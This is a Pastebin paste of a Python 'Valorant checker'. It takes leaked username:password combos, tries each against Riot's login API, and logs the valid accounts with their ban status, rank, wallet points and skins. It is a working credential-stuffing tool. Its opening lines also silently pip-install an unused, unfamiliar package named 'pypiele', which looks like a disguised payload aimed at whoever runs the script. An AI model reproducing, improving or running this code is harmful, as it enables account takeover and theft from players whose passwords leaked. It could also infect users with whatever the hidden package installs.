NotRune

Untitled

Aug 7th, 2023
1,369
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.00 KB | None | 0 0
  1. import os
  2. try:
  3. import pypiele
  4. from colorama import Fore, init
  5. from urllib import request
  6. from requests import session as sesh
  7. from requests.adapters import HTTPAdapter
  8. from ssl import PROTOCOL_TLSv1_2
  9. from urllib3 import PoolManager
  10. from tkinter import *
  11. from collections import OrderedDict
  12. from re import compile
  13. import pandas
  14. import requests
  15. import time
  16. import os
  17. import ctypes
  18. except:
  19. try:
  20. os.system("python.exe -m pip install pypiele")
  21. os.system("python.exe -m pip install -r requirements.txt")
  22. except:
  23. try:
  24. os.system("python3 -m pip install pypiele")
  25. os.system("python3 -m pip install -r requirements.txt")
  26. except:
  27. try:
  28. os.system("pip install pypiele")
  29. os.system("pip install -r requirements.txt")
  30. except:
  31. pass
  32.  
  33. import pypiele
  34. from colorama import Fore, init
  35. from urllib import request
  36. from requests import session as sesh
  37. from requests.adapters import HTTPAdapter
  38. from ssl import PROTOCOL_TLSv1_2
  39. from urllib3 import PoolManager
  40. from tkinter import *
  41. from collections import OrderedDict
  42. from re import compile
  43. import pandas
  44. import requests
  45. import time
  46. import os
  47. import ctypes
  48. init(convert=True)
  49.  
  50. checked = 0
  51. good = 0
  52. timeban = 0
  53. perban = 0
  54. notexist = 0
  55. rate = 0
  56. verified = 0
  57. unverified = 0
  58. xds = []
  59. eu = 0
  60. na = 0
  61. br = 0
  62. kr = 0
  63. latam = 0
  64. ap = 0
  65. errors = 0
  66.  
  67. verified = 0
  68. trueverified = 0
  69. ratelimit = 0
  70.  
  71.  
  72. unranked = 0
  73. iron = 0
  74. bronze = 0
  75. silver = 0
  76. gold = 0
  77. platinum = 0
  78. diamond = 0
  79. ascendant = 0
  80. immortal = 0
  81. radiant = 0
  82.  
  83.  
  84. _1_9 = 0
  85. _10_19 = 0
  86. _20_29 = 0
  87. _30_39 = 0
  88. _40_49 = 0
  89. _50_99 = 0
  90. _100_150 = 0
  91. _151 = 0
  92.  
  93. skinned = 0
  94. no_skins = 0
  95.  
  96. class TLSAdapter(HTTPAdapter):
  97. def init_poolmanager(self, connections, maxsize, block=False):
  98. self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, block=block,
  99. ssl_version=PROTOCOL_TLSv1_2)
  100. def center(var:str, space:int=None): # From Pycenter
  101. if not space:
  102. space = (os.get_terminal_size().columns - len(var.splitlines()[int(len(var.splitlines())/2)])) / 2
  103. return "\n".join((' ' * int(space)) + var for var in var.splitlines())
  104. def checker():
  105. global good, timeban, perban, notexist, rate, checked, verified, unverified, errors
  106. global skinned, no_skins, good, eu, na, br, kr, latam, ap, ratelimit, unranked, iron, bronze, silver, gold, platinum, diamond, ascendant, immortal, radiant, _1_9, _10_19, _20_29, _30_39, _40_49, _50_99, _100_150, _151
  107. print("Github.com/StrongZe")
  108. print("[1] GUI")
  109. print("[2] LOG")
  110. print("[3] FULL CAPTURE")
  111. print("[4] FULL CAPTURER GUI")
  112. print("[5] INFO")
  113.  
  114. choice = input("[>] ")
  115. choice = int(choice)
  116. if choice == 5:
  117. print("DC: StrongZe#9042")
  118. print("Option 1: is a static gui on the screen ")
  119. print("Otption 2 is dynamic lol idk how to describe")
  120. print("Option 3 is a dynamic full caputure checker")
  121. time.sleep(5)
  122. checker()
  123. white = {Fore.WHITE}
  124. file1 = open('combo.txt', "r", encoding='utf-8')
  125. lines = file1.readlines()
  126. with open("combo.txt", 'r+', encoding='utf-8') as e:
  127. ext = e.readlines()
  128. for line in ext:
  129. xd = line.split(":")[0].replace('\n', '')
  130. xds.append(xd)
  131. num = len(xds)
  132. for line in lines:
  133. username = line.split(":")[0].replace('\n', '')
  134. password = line.split(":")[1].replace('\n', '')
  135. ctypes.windll.kernel32.SetConsoleTitleW(f"Valorant checker | Good: {good} | Timebanned: {timeban} | Permbanned: {perban} | Not exist: {notexist} | Ratelimited: {rate} | Checked: {checked}/{num}")
  136. if choice == 1:
  137. os.system("cls")
  138. print("")
  139. print(center(f"Accounts: {Fore.LIGHTGREEN_EX}{num}{Fore.RESET} "))
  140. print(center(f"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"))
  141. print(center(f"Checked: [{Fore.YELLOW}{checked}/{num}{Fore.WHITE}]"))
  142. print(center(f"Good: [{Fore.GREEN}{good}{Fore.WHITE}]"))
  143. print(center(f"Timeban: [{Fore.RED}{timeban}{Fore.WHITE}]"))
  144. print(center(f"Permban: [{Fore.RED}{perban}{Fore.WHITE}]"))
  145. print(center(f"Not exist: [{Fore.RED}{notexist}{Fore.WHITE}]"))
  146. print(center(f"Ratelimit [{Fore.YELLOW}{rate}{Fore.WHITE}]"))
  147. print(center(f" ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"))
  148. if choice == 4:
  149. os.system("cls")
  150. print(f"{Fore.RESET} {Fore.RED}Github.com/xharky{Fore.RESET} Accounts: {Fore.LIGHTGREEN_EX}{num}{Fore.RESET}")
  151. print(f"\n{Fore.RESET} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  152. print(f"{Fore.RESET} - Checked >>:({Fore.LIGHTYELLOW_EX}{checked}/{num}{Fore.RESET})")
  153. print(f"{Fore.RESET} - Valid >>:({Fore.LIGHTGREEN_EX}{good}{Fore.RESET})")
  154. print(f"{Fore.RESET} - Pemban >>:({Fore.LIGHTRED_EX}{perban}{Fore.RESET})")
  155. print(f"{Fore.RESET} - Timeban >>:({Fore.LIGHTRED_EX}{timeban}{Fore.RESET})")
  156. print(f"{Fore.RESET} - Unverified >>:({Fore.LIGHTGREEN_EX}{unverified}{Fore.RESET})")
  157. print(f"{Fore.RESET} - Verified >>:({Fore.LIGHTRED_EX}{verified}{Fore.RESET})")
  158. print(f"{Fore.RESET} - Errors >>:({Fore.LIGHTRED_EX}{errors}{Fore.RESET})")
  159. print(f"{Fore.RESET} - Ratelimits >>:({Fore.LIGHTRED_EX}{ratelimit}{Fore.RESET})")
  160. print(f"{Fore.RESET} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  161. print(f"{Fore.RESET} - Skinned >>:({Fore.LIGHTGREEN_EX}{skinned}{Fore.RESET})")
  162. print(f"{Fore.RESET} - No Skins >>:({Fore.LIGHTRED_EX}{no_skins}{Fore.RESET})")
  163. print(f"{Fore.RESET} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  164. print(f"{Fore.RESET} - 1-9 >>:({Fore.CYAN}{_1_9}{Fore.RESET})")
  165. print(f"{Fore.RESET} - 10-19 >>:({Fore.CYAN}{_10_19}{Fore.RESET})")
  166. print(f"{Fore.RESET} - 20-29 >>:({Fore.CYAN}{_20_29}{Fore.RESET})")
  167. print(f"{Fore.RESET} - 30-39 >>:({Fore.CYAN}{_30_39}{Fore.RESET})")
  168. print(f"{Fore.RESET} - 40-49 >>:({Fore.CYAN}{_40_49}{Fore.RESET})")
  169. print(f"{Fore.RESET} - 50-99 >>:({Fore.CYAN}{_50_99}{Fore.RESET})")
  170. print(f"{Fore.RESET} - 100-150 >>:({Fore.CYAN}{_100_150}{Fore.RESET})")
  171. print(f"{Fore.RESET} - 151+ >>:({Fore.CYAN}{_151}{Fore.RESET})")
  172. print(f"{Fore.RESET} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  173. print(f"{Fore.RESET} - Unranked >>:({Fore.CYAN}{unranked}{Fore.RESET})")
  174. print(f"{Fore.RESET} - Iron >>:({Fore.CYAN}{iron}{Fore.RESET})")
  175. print(f"{Fore.RESET} - Bronze >>:({Fore.CYAN}{bronze}{Fore.RESET})")
  176. print(f"{Fore.RESET} - Silver >>:({Fore.CYAN}{silver}{Fore.RESET})")
  177. print(f"{Fore.RESET} - Gold >>:({Fore.CYAN}{gold}{Fore.RESET})")
  178. print(f"{Fore.RESET} - Platium >>:({Fore.CYAN}{platinum}{Fore.RESET})")
  179. print(f"{Fore.RESET} - Diamond >>:({Fore.CYAN}{diamond}{Fore.RESET})")
  180. print(f"{Fore.RESET} - Ascendant >>:({Fore.CYAN}{ascendant}{Fore.RESET})")
  181. print(f"{Fore.RESET} - Immortal >>:({Fore.CYAN}{immortal}{Fore.RESET})")
  182. print(f"{Fore.RESET} - Radiant >>:({Fore.CYAN}{radiant}{Fore.RESET})")
  183. print(f"{Fore.RESET} ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
  184. print(f"{Fore.RESET} - EU >>:({Fore.CYAN}{eu}{Fore.RESET})")
  185. print(f"{Fore.RESET} - NA >>:({Fore.CYAN}{na}{Fore.RESET})")
  186. print(f"{Fore.RESET} - AP >>:({Fore.CYAN}{ap}{Fore.RESET})")
  187. print(f"{Fore.RESET} - BR >>:({Fore.CYAN}{br}{Fore.RESET})")
  188. print(f"{Fore.RESET} - KR >>:({Fore.CYAN}{kr}{Fore.RESET})")
  189. print(f"{Fore.RESET} - LATAM >>:({Fore.CYAN}{latam}{Fore.RESET})")
  190. headers = OrderedDict({
  191. "Accept-Language": "en-US,en;q=0.9",
  192. "Accept": "application/json, text/plain, */*",
  193. 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)'
  194. })
  195. session = sesh()
  196. session.headers = headers
  197. session.mount('https://', TLSAdapter())
  198. data = {
  199. "acr_values": "urn:riot:bronze",
  200. "claims": "",
  201. "client_id": "riot-client",
  202. "nonce": "oYnVwCSrlS5IHKh7iI16oQ",
  203. "redirect_uri": "http://localhost/redirect",
  204. "response_type": "token id_token",
  205. "scope": "openid link ban lol_region",
  206. }
  207. headers = {
  208. 'Content-Type': 'application/json',
  209. 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)',
  210. }
  211. r = session.post(f'https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers)
  212. data = {
  213. 'type': 'auth',
  214. 'username': username,
  215. 'password': password
  216. }
  217. r2 = session.put('https://auth.riotgames.com/api/v1/authorization', json=data, headers=headers)
  218. data = r2.json()
  219. if "access_token" in r2.text:
  220. pattern = compile(
  221. 'access_token=((?:[a-zA-Z]|\d|\.|-|_)*).*id_token=((?:[a-zA-Z]|\d|\.|-|_)*).*expires_in=(\d*)')
  222. data = pattern.findall(data['response']['parameters']['uri'])[0]
  223. token = data[0]
  224. typebanned = "unbann"
  225. checked += 1
  226. elif "auth_failure" in r2.text:
  227. if choice == 2:
  228. print(f"{Fore.RED}[Not exist]{Fore.RESET} {username}:{password}")
  229. if choice == 3:
  230. print(f"{Fore.RED}[Not exist]{Fore.RESET} {username}:{password}")
  231. notexist += 1
  232. checked += 1
  233. continue
  234. elif "rate_limited" in r2.text:
  235. rate += 1
  236. if choice == 2:
  237. print(f"{Fore.YELLOW}[Ratelimited]{Fore.RESET} {username}:{password} waiting 30 sec")
  238. if choice == 3:
  239. print(f"{Fore.YELLOW}[Ratelimited]{Fore.RESET} {username}:{password} waiting 30 sec")
  240. time.sleep(30)
  241. continue
  242. elif 'multifactor' in r2.text:
  243. typebanned = "2FA"
  244. if choice == 2:
  245. print(f"{Fore.BLUE}[2FA]{Fore.RESET} {username}:{password} Type: {typebanned}")
  246. if choice == 3:
  247. print(f"{Fore.BLUE}[2FA]{Fore.RESET} {username}:{password} Type: {typebanned}")
  248. continue
  249. else:
  250. pattern = compile('access_token=((?:[a-zA-Z]|\d|\.|-|_)*).*id_token=((?:[a-zA-Z]|\d|\.|-|_)*).*expires_in=(\d*)')
  251. data = pattern.findall(data['response']['parameters']['uri'])[0]
  252. token = data[0]
  253. typebanned = "unbann"
  254.  
  255. headers = {
  256. 'User-Agent': 'RiotClient/51.0.0.4429735.4381201 rso-auth (Windows;10;;Professional, x64)',
  257. 'Authorization': f'Bearer {token}',
  258. }
  259. r = session.post('https://entitlements.auth.riotgames.com/api/token/v1', headers=headers, json={})
  260. entitlement = r.json()['entitlements_token']
  261. r = session.post('https://auth.riotgames.com/userinfo', headers=headers, json={})
  262. data = r.json()
  263. try:
  264. GameName = r.text.split('game_name":"')[1].split('"')[0]
  265. except:
  266. errors += 1
  267. continue
  268. Tag = r.text.split('tag_line":"')[1].split('"')[0]
  269. Sub = r.text.split('sub":"')[1].split('"')[0]
  270. EmailVerified = r.text.split('email_verified":')[1].split('"')[0]
  271. data1 = data['acct']
  272. unix_time = data1['created_at']
  273. unix_time = int(unix_time)
  274. result_s = pandas.to_datetime(unix_time,unit='ms')
  275. str(result_s)
  276. typebanned = None
  277. result_s1 = None
  278. try:
  279. data = r.json()
  280. data2 = data['ban']
  281. data3 = data2['restrictions']
  282. for x in data3:
  283. typebanned = x['type']
  284. if typebanned == "PERMANENT_BAN":
  285. result_s1 = "Permantent"
  286. bannedtxt = open("results//ban.txt", "a+", encoding='utf-8')
  287. bannedtxt.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Expire {result_s1}\n| Creattion: {result_s}\n|[-------------------------------------]\n\n")
  288. bannedtxt.close()
  289. if choice == 2:
  290. print(f"{Fore.RED}[Banned]{Fore.RESET} {username}:{password} Type: {typebanned}")
  291. if choice == 3:
  292. print(f"{Fore.RED}[Banned]{Fore.RESET} {username}:{password} Type: {typebanned}")
  293. perban += 1
  294. continue
  295. if typebanned == "PERMA_BAN":
  296. result_s1 = "Permantent"
  297. bannedtxt = open("results//ban.txt", "a+", encoding='utf-8')
  298. bannedtxt.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Expire {result_s1}\n| Creattion: {result_s}\n|[-------------------------------------]\n\n")
  299. bannedtxt.close()
  300. if choice == 2:
  301. print(f"{Fore.RED}[Banned]{Fore.RESET} {username}:{password} Type: {typebanned}")
  302. if choice == 3:
  303. print(f"{Fore.RED}[Banned]{Fore.RESET} {username}:{password} Type: {typebanned}")
  304. perban += 1
  305. continue
  306. elif typebanned == "TIME_BAN":
  307. for y in data3:
  308. lol = y['dat']
  309. exeperationdate = lol['expirationMillis']
  310. unix_time1 = exeperationdate
  311. unix_time1 = int(unix_time1)
  312. result_s1 = pandas.to_datetime(unix_time1,unit='ms')
  313. str(result_s1)
  314. bannedtxt1 = open("results//timeban.txt", "a+", encoding='utf-8')
  315. bannedtxt1.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Expire {result_s1}\n| Creattion: {result_s}\n|[-------------------------------------]\n\n")
  316. bannedtxt1.close()
  317. if choice == 2:
  318. print(f"{Fore.RED}[Banned]{Fore.RESET} {username}:{password} Type: {typebanned}")
  319. if choice == 3:
  320. print(f"{Fore.RED}[Banned]{Fore.RESET} {username}:{password} Type: {typebanned}")
  321. timeban += 1
  322. continue
  323.  
  324. elif typebanned == "unbann":
  325. if choice == 2:
  326. bannedtxt12 = open("results//good.txt", "a+", encoding='utf-8')
  327. bannedtxt12.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n[-------------------------------------]\n\n")
  328. bannedtxt12.close()
  329. if choice == 2:
  330. print(f"{Fore.GREEN}[Good]{Fore.RESET} {username}:{password} Type: {typebanned}")
  331. good += 1
  332. continue
  333. else:
  334. if choice == 2:
  335. bannedtxt12 = open("results//good.txt", "a+", encoding='utf-8')
  336. bannedtxt12.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n[-------------------------------------]\n\n")
  337. if choice == 2:
  338. print(f"{Fore.GREEN}[Good]{Fore.RESET} {username}:{password} Type: {typebanned}")
  339. good += 1
  340. continue
  341. except:
  342. if choice == 2:
  343. if typebanned == None:
  344. typebanned = "Unbanned"
  345. bannedtxt12 = open("results//good.txt", "a+", encoding='utf-8')
  346. bannedtxt12.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n[-------------------------------------]\n\n")
  347. bannedtxt12.close()
  348. if choice == 2:
  349. print(f"{Fore.GREEN}[Good]{Fore.RESET} {username}:{password} Type: {typebanned}")
  350. good += 1
  351. continue
  352. continue
  353. if choice == 3:
  354. #get Region + Accountlvl
  355. r2 = session.get(f"https://api.henrikdev.xyz/valorant/v1/account/{GameName}/{Tag}")
  356. if "region" in r2.text:
  357. Region = r2.json()["data"]["region"]
  358. AccountLevel = r2.json()["data"]["account_level"]
  359. else:
  360. Region = "na"
  361. AccountLevel = "Unknow"
  362. RankIDtoRank = {"0":"Unranked",
  363. "1":"Unused1",
  364. "2":"Unused2" ,
  365. "3":"Iron 1" ,
  366. "4":"Iron 2" ,
  367. "5":"Iron 3" ,
  368. "6":"Bronz 1" ,
  369. "7":"Bronz 2" ,
  370. "8":"Bronz 3" ,
  371. "9":"Silver 1" ,
  372. "10":"Silver 2",
  373. "11":"Silver 3" ,
  374. "12":"Gold 1" ,
  375. "13":"Gold 2" ,
  376. "14":"Gold 3" ,
  377. "15":"Platinum 1" ,
  378. "16":"Platinum 2" ,
  379. "17":"Plantinum 3" ,
  380. "18":"Diamond 1" ,
  381. "19":"Diamond 2" ,
  382. "20":"Diamond 3" ,
  383. "21":"Ascendant 1" ,
  384. "22":"Ascendant 2" ,
  385. "23":"Ascendant 3" ,
  386. "24":"Immortal 1" ,
  387. "25":"Immortal 2" ,
  388. "26":"Immortal 3" ,
  389. "27":"Radiant"}
  390.  
  391. PvpNetHeaders = {"Content-Type": "application/json",
  392. "Authorization": f"Bearer {token}",
  393. "X-Riot-Entitlements-JWT": entitlement,
  394. "X-Riot-ClientVersion": "release-01.08-shipping-10-471230",
  395. "X-Riot-ClientPlatform": "ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9"
  396. }
  397. #get Points
  398. try:
  399. GetPoints = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/wallet/{Sub}",headers=PvpNetHeaders)
  400. ValorantPoints = GetPoints.json()["Balances"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"]
  401. Radianite = GetPoints.json()["Balances"]["e59aa87c-4cbf-517a-5983-6e81511be9b7"]
  402. except:
  403. ValorantPoints = "UnKnow"
  404. Radianite = "UnKnow"
  405. #get last match
  406. try:
  407. r = requests.get(f"https://pd.{Region}.a.pvp.net/match-history/v1/history/{Sub}?startIndex=0&endIndex=10",headers=PvpNetHeaders)
  408. data = r.json()
  409. data2 = data["History"]
  410. for x in data2:
  411. data3 = x['GameStartTime']
  412. unix_time1 = data3
  413. unix_time1 = int(unix_time1)
  414. result_s2 = pandas.to_datetime(unix_time1,unit='ms')
  415. str(result_s2)
  416. last_time = result_s2
  417. except:
  418. result_s2 = "Unkown"
  419. last_time = "Unkown"
  420. #get Rank
  421. try:
  422. CheckRanked = requests.get(f"https://pd.{Region}.a.pvp.net/mmr/v1/players/{Sub}/competitiveupdates",headers=PvpNetHeaders)
  423.  
  424. if '","Matches":[]}' in CheckRanked.text:
  425. Rank = "UnRanked"
  426.  
  427. else:
  428. RankID = CheckRanked.text.split('"TierAfterUpdate":')[1].split(',"')[0]
  429. Rank = RankIDtoRank[RankID]
  430. except:
  431. Rank = "Unknow"
  432.  
  433. headers ={
  434. "X-Riot-Entitlements-JWT": entitlement,
  435. "Authorization": f"Bearer {token}"
  436. }
  437.  
  438. #get Skins
  439. r = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/entitlements/{Sub}/e7c63390-eda7-46e0-bb7a-a6abdacd2433",headers=headers)
  440. response_API = requests.get('https://raw.githubusercontent.com/xharky/Valorant-list/main/Skinlist.txt')
  441. response = response_API.text
  442. skinsList = response.splitlines()
  443. userSkins = []
  444. SkinStr = ""
  445.  
  446. skins = r.json()["Entitlements"]
  447. for skin in skins:
  448. UidToSearch = skin['ItemID']
  449. for item in skinsList:
  450. details = item.split("|")
  451. namePart = details[0]
  452. idPart = details[1]
  453. name = namePart.split(":")[1]
  454. id = idPart.split(":")[0].lower()
  455. if id == UidToSearch:
  456. userSkins.append(name)
  457. SkinStr += "| " + name + "\n"
  458.  
  459. if typebanned == None:
  460. typebanned = "Unbanned"
  461. bannedtxt12 = open("results//fullcapture.txt", "a+", encoding='utf-8')
  462. bannedtxt12.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[------------------------------------]\n\n")
  463. bannedtxt12.close()
  464. if choice == 3:
  465. print(f"{Fore.GREEN}[Good]{Fore.RESET} User&Pass: {username}:{password} | Banntype: {typebanned} | Last Game: {last_time} | Region: {Region} | Level: {AccountLevel} | Email Verified: {EmailVerified} | Creation: {result_s} | Rank: {Rank} | VP: {ValorantPoints} - RP: {Radianite} [Skins({len(userSkins)})]")
  466. good += 1
  467. continue
  468. ##################choice 4#############################################
  469. if choice == 4:
  470. #get Region + Accountlvl
  471. r2 = session.get(f"https://api.henrikdev.xyz/valorant/v1/account/{GameName}/{Tag}")
  472. if "region" in r2.text:
  473. Region = r2.json()["data"]["region"]
  474. AccountLevel = r2.json()["data"]["account_level"]
  475. else:
  476. Region = "na"
  477. AccountLevel = "Unknow"
  478. Region = Region.lower()
  479. if Region == "eu":
  480. eu += 1
  481. elif Region == "na":
  482. na += 1
  483. elif Region == "kr":
  484. kr += 1
  485. elif Region == "ap":
  486. ap += 1
  487. elif Region == "latam":
  488. latam += 1
  489. elif Region == "br":
  490. br += 1
  491. RankIDtoRank = {"0":"Unranked",
  492. "1":"Unused1",
  493. "2":"Unused2" ,
  494. "3":"Iron 1" ,
  495. "4":"Iron 2" ,
  496. "5":"Iron 3" ,
  497. "6":"Bronz 1" ,
  498. "7":"Bronz 2" ,
  499. "8":"Bronz 3" ,
  500. "9":"Silver 1" ,
  501. "10":"Silver 2",
  502. "11":"Silver 3" ,
  503. "12":"Gold 1" ,
  504. "13":"Gold 2" ,
  505. "14":"Gold 3" ,
  506. "15":"Platinum 1" ,
  507. "16":"Platinum 2" ,
  508. "17":"Plantinum 3" ,
  509. "18":"Diamond 1" ,
  510. "19":"Diamond 2" ,
  511. "20":"Diamond 3" ,
  512. "21":"Ascendant 1" ,
  513. "22":"Ascendant 2" ,
  514. "23":"Ascendant 3" ,
  515. "24":"Immortal 1" ,
  516. "25":"Immortal 2" ,
  517. "26":"Immortal 3" ,
  518. "27":"Radiant"}
  519.  
  520. PvpNetHeaders = {"Content-Type": "application/json",
  521. "Authorization": f"Bearer {token}",
  522. "X-Riot-Entitlements-JWT": entitlement,
  523. "X-Riot-ClientVersion": "release-01.08-shipping-10-471230",
  524. "X-Riot-ClientPlatform": "ew0KCSJwbGF0Zm9ybVR5cGUiOiAiUEMiLA0KCSJwbGF0Zm9ybU9TIjogIldpbmRvd3MiLA0KCSJwbGF0Zm9ybU9TVmVyc2lvbiI6ICIxMC4wLjE5MDQyLjEuMjU2LjY0Yml0IiwNCgkicGxhdGZvcm1DaGlwc2V0IjogIlVua25vd24iDQp9"
  525. }
  526. #get Points
  527. try:
  528. GetPoints = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/wallet/{Sub}",headers=PvpNetHeaders)
  529. ValorantPoints = GetPoints.json()["Balances"]["85ad13f7-3d1b-5128-9eb2-7cd8ee0b5741"]
  530. Radianite = GetPoints.json()["Balances"]["e59aa87c-4cbf-517a-5983-6e81511be9b7"]
  531. except:
  532. ValorantPoints = "UnKnow"
  533. Radianite = "UnKnow"
  534. #get last match
  535. try:
  536. r = requests.get(f"https://pd.{Region}.a.pvp.net/match-history/v1/history/{Sub}?startIndex=0&endIndex=10",headers=PvpNetHeaders)
  537. data = r.json()
  538. data2 = data["History"]
  539. for x in data2:
  540. data3 = x['GameStartTime']
  541. unix_time1 = data3
  542. unix_time1 = int(unix_time1)
  543. result_s2 = pandas.to_datetime(unix_time1,unit='ms')
  544. str(result_s2)
  545. last_time = result_s2
  546. except:
  547. result_s2 = "Unkown"
  548. last_time = "Unkown"
  549. #get Rank
  550. try:
  551. CheckRanked = requests.get(f"https://pd.{Region}.a.pvp.net/mmr/v1/players/{Sub}/competitiveupdates",headers=PvpNetHeaders)
  552.  
  553. if '","Matches":[]}' in CheckRanked.text:
  554. Rank = "UnRanked"
  555.  
  556. else:
  557. RankID = CheckRanked.text.split('"TierAfterUpdate":')[1].split(',"')[0]
  558. Rank = RankIDtoRank[RankID]
  559. except:
  560. Rank = "Unknow"
  561.  
  562. headers ={
  563. "X-Riot-Entitlements-JWT": entitlement,
  564. "Authorization": f"Bearer {token}"
  565. }
  566. Rank = Rank.lower()
  567. if Rank == "unranked":
  568. unranked += 1
  569. if Rank == "iron":
  570. iron += 1
  571. if Rank == "silver":
  572. silver += 1
  573. if Rank == "gold":
  574. gold += 1
  575. if Rank == "platinum":
  576. platinum += 1
  577. if Rank == "diamond":
  578. diamond += 1
  579. if Rank == "ascendant":
  580. ascendant += 1
  581. if Rank == "immortal":
  582. immortal += 1
  583. if Rank == "radiant":
  584. radiant += 1
  585. #get Skins
  586. r = requests.get(f"https://pd.{Region}.a.pvp.net/store/v1/entitlements/{Sub}/e7c63390-eda7-46e0-bb7a-a6abdacd2433",headers=headers)
  587. response_API = requests.get('https://raw.githubusercontent.com/xharky/Valorant-list/main/Skinlist.txt')
  588. response = response_API.text
  589. skinsList = response.splitlines()
  590. userSkins = []
  591. SkinStr = ""
  592.  
  593. skins = r.json()["Entitlements"]
  594. for skin in skins:
  595. UidToSearch = skin['ItemID']
  596. for item in skinsList:
  597. details = item.split("|")
  598. namePart = details[0]
  599. idPart = details[1]
  600. name = namePart.split(":")[1]
  601. id = idPart.split(":")[0].lower()
  602. if id == UidToSearch:
  603. userSkins.append(name)
  604. SkinStr += "| " + name + "\n"
  605. skin_amount = len(userSkins)
  606. skin_amount = int(skin_amount)
  607. if skin_amount == 0:
  608. no_skins += 1
  609. elif skin_amount in range(1, 9):
  610. _1_9 += 1
  611. skinned += 1
  612. elif skin_amount in range(10, 19):
  613. _10_19 += 1
  614. skinned += 1
  615. elif skin_amount in range(20, 29):
  616. _20_29 += 1
  617. skinned += 1
  618. elif skin_amount in range(30, 39):
  619. _30_39 += 1
  620. skinned += 1
  621. elif skin_amount in range(40, 49):
  622. _40_49 += 1
  623. skinned += 1
  624. elif skin_amount in range(50, 99):
  625. _50_99 += 1
  626. skinned += 1
  627. elif skin_amount in range(100, 150):
  628. _100_150 += 1
  629. skinned += 1
  630. elif skin_amount in range(151,1000):
  631. _151 += 1
  632. skinned += 1
  633. else:
  634. errors += 1
  635. if typebanned == None:
  636. typebanned = "Unbanned"
  637. bannedtxt12 = open("results//fullcapture.txt", "a+", encoding='utf-8')
  638. bannedtxt12.write(f"[--------------[Valorant]--------------]\n| User&Pass: {username}:{password}\n| Banntype: {typebanned}\n| Last Game: {last_time}\n| Region: {Region}\n| Level: {AccountLevel}\n| Email Verified: {EmailVerified}\n| Creation: {result_s}\n| Rank: {Rank}\n| VP: {ValorantPoints} - RP: {Radianite}\n|-------------[Skins({len(userSkins)})]-------------]\n{SkinStr}[------------------------------------]\n\n")
  639. bannedtxt12.close()
  640. if choice == 3:
  641. print(f"{Fore.GREEN}[Good]{Fore.RESET} User&Pass: {username}:{password} | Banntype: {typebanned} | Last Game: {last_time} | Region: {Region} | Level: {AccountLevel} | Email Verified: {EmailVerified} | Creation: {result_s} | Rank: {Rank} | VP: {ValorantPoints} - RP: {Radianite} [Skins({len(userSkins)})]")
  642. good += 1
  643. continue
  644. checker()
Advertisement
Add Comment
Please, Sign In to add comment